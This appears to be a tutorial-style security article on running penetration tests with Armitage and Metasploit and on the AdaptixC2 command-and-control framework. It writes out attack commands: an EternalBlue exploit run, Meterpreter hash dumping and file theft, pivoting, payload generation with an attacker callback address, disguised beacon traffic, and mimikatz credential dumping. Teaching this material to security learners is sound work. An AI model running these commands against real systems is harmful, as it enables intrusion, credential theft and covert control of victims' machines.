Listen to this Post
Introduction:
Armitage provides a powerful graphical interface for the Metasploit Framework, democratizing complex penetration testing tasks by visualizing networks, hosts, and exploits. This article explores how Armitage accelerates the learning curve for ethical hackers and examines the next evolution in adversarial simulation with Command and Control (C2) frameworks like AdaptixC2, bridging the gap between manual exploitation and automated post-compromise operations.
Learning Objectives:
- Master the core workflow of Armitage for network discovery, vulnerability analysis, and exploit execution.
- Understand the fundamental commands and techniques that power graphical penetration testing tools.
- Explore the capabilities of modern C2 frameworks and how they extend the post-exploitation phase.
You Should Know:
1. Network Discovery and Import with Armitage
Before launching exploits, you must discover and map your target network. Armitage can import data from various sources.
Nmap scan for host discovery (run from terminal) nmap -sn 192.168.1.0/24 Nmap TCP SYN scan for service discovery nmap -sS -sV -O 192.168.1.50 Importing a scan into Armitage Hosts -> Import Hosts -> Scan Result (paste nmap output)
Step-by-step guide: The foundation of any penetration test is reconnaissance. Use Nmap from the Kali Linux terminal to perform host discovery (-sn) and detailed service/OS scanning (-sS -sV -O). Copy the entire Nmap output, then within Armitage, navigate to the `Hosts` menu, select Import Hosts, and choose the `Scan Result` option to paste the data. Armitage will automatically parse this information, creating a visual topology of the network, complete with host icons and service badges.
2. Finding and Launching Exploits
Armitage’s `Attack` menu suggests exploits based on discovered services, simplifying the weaponization phase.
Manual Metasploit exploit search (msfconsole) msf6 > search type:exploit platform:windows smb Manual exploit execution (msfconsole) msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 (exploit(...)) > set RHOSTS 192.168.1.50 msf6 (exploit(...)) > exploit
Step-by-step guide: After importing hosts, right-click a target in Armitage, navigate to the `Attack` menu, and browse the curated list of suggested exploits. Armitage correlates services (e.g., SMB on port 445) with relevant Metasploit modules. Selecting an exploit launches a dialog where you set parameters like the target IP (RHOSTS). Upon execution, a successful exploit will spawn a new visual element—a lightning bolt—between the attacker machine and the compromised host, and a session will open, often elevating the host to a red color.
3. Post-Exploitation and Meterpreter Fundamentals
Once a shell is established, post-exploitation begins, typically with a Meterpreter payload.
Common Meterpreter commands for post-exploitation meterpreter > sysinfo meterpreter > getuid meterpreter > hashdump meterpreter > shell meterpreter > upload /path/to/local/file C:\temp\ meterpreter > download C:\passwords.txt /tmp/ meterpreter > run post/windows/gather/checkvm
Step-by-step guide: A successful exploit in Armitage grants a Meterpreter session. Right-click the compromised host and access the `Meterpreter` menu. Use `sysinfo` and `getuid` to assess the system and your privilege level. The `hashdump` command extracts NTLM password hashes for offline cracking. The `shell` command drops you into a standard system shell. The `upload` and `download` commands facilitate data exfiltration, while modules like `checkvm` help determine if you’re inside a virtualized environment.
4. Lateral Movement with Pivoting
Armitage visualizes pivoting, allowing you to use a compromised host as a relay to attack deeper, non-routed networks.
Adding a route in Metasploit after compromise msf6 > route add 10.1.2.0 255.255.255.0 [bash] Using Meterpreter's `arp_scanner` to find new hosts meterpreter > run post/windows/gather/arp_scanner RHOSTS=10.1.2.0/24 Backgrounding a session for other modules meterpreter > background
Step-by-step guide: After compromising Host A (e.g., 192.168.1.50), you discover it has a second network interface on 10.1.2.0/24. In Armitage, right-click Host A, select `Meterpreter > Access > Autoroute` to add the subnet. Now, any exploits launched from the Armitage console will automatically pivot through this host. Use the `arp_scanner` post-module from Host A’s session to discover new targets on the `10.1.2.0/24` network, which will then appear in your Armitage workspace.
5. Introduction to Modern C2 Frameworks like AdaptixC2
While Armitage visualizes Metasploit, next-generation C2 frameworks like AdaptixC2 offer enhanced stealth and functionality.
Cloning and setting up a C2 framework (Example) git clone https://github.com/Adaptix-Framework/AdaptixC2.git cd AdaptixC2 ./setup.sh Generating a payload with a C2 framework ./AdaptixC2.py generate payload --os windows --type exe --lhost 192.168.1.10 --lport 4444 -o malicious.exe
Step-by-step guide: Modern C2 frameworks represent an evolution beyond traditional Metasploit payloads. They often feature web-based interfaces, multi-operator support, and sophisticated agent communication (e.g., HTTP/S, DNS tunneling). After cloning the repository and running the setup script, the framework’s server component starts, listening for connections. Payloads are then generated through the framework’s CLI or GUI, specifying the attacker’s IP (lhost), port (lport), and output format. These payloads are often more resilient to detection.
6. C2 Agent Communication and Obfuscation
C2 frameworks excel at maintaining covert communication channels with implanted agents.
Example configuration for HTTP Listener in a C2 [bash] Name = HTTP_Listener Host = 0.0.0.0 Port = 443 Secure = true Uses HTTPS Agent check-in beaconing (simulated traffic pattern) GET /cdn/jquery-3.3.1.min.js HTTP/1.1 Host: legitimate-looking-domain.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Step-by-step guide: After an agent executes on a target, it “beacons” back to the C2 server at regular intervals. This communication is often heavily obfuscated to mimic normal web traffic, using standard ports like 443 (HTTPS) and blending in with common user agents and request paths (e.g., /cdn/jquery...). The C2 server sends tasks to the agent encoded within these seemingly normal responses. This level of stealth is a significant advancement over more easily detected Meterpreter communication patterns.
7. Post-Exploitation Modules in a C2 Context
C2 frameworks provide a centralized platform for managing post-exploitation across multiple agents.
Executing a common post-exploitation module from a C2 UI Module: Privilege Escalation -> Windows Named Pipe Impersonation Module: Credential Access -> Dump LSASS Memory via MiniDump Module: Discovery -> Network Share Enumeration Command line equivalent for key collection (Mimikatz-style) mimikatz sekurlsa::logonpasswords
Step-by-step guide: Within a framework like AdaptixC2, the operator selects from a menu of post-exploitation modules. Clicking a module, such as one for dumping LSASS memory, sends the instruction to the designated agent. The agent executes the task, often using in-memory execution techniques to avoid writing to disk, and the results (e.g., hashes, cleartext passwords) are sent back to the C2 server and displayed in the operator’s console, providing a centralized repository for all compromised data.
What Undercode Say:
- Armitage remains an invaluable pedagogical tool for demystifying the stages of a cyber attack, making abstract concepts tangible through visualization.
- The transition to frameworks like AdaptixC2 signifies a maturation in offensive security, focusing on persistent, operational-scale campaigns rather than one-off exploitations.
The graphical nature of Armitage provides an intuitive bridge for security professionals moving from theoretical knowledge to practical application, effectively illustrating the kill chain. However, the industry’s pivot towards sophisticated C2 frameworks highlights the growing need for tools that support prolonged engagement, covert communications, and multi-operator collaboration, reflecting the realities of modern adversary behavior. While Armitage teaches the “how,” C2 frameworks teach the “how to operate effectively over time,” which is critical for both red teams and defenders understanding advanced persistent threats.
Prediction:
The convergence of graphical exploit frameworks like Armitage with the persistent, API-driven architecture of modern C2 systems will lead to the development of fully integrated “Cyber Range-as-a-Service” platforms. These platforms will automatically generate complex, multi-stage attack scenarios for training and testing, using AI to dynamically adjust defenses and attack paths in real-time. This will fundamentally change security training from static lab environments to adaptive, continuous exercises, forcing a rapid evolution in both automated defensive systems and the skills of security analysts.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Luis Salinas – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
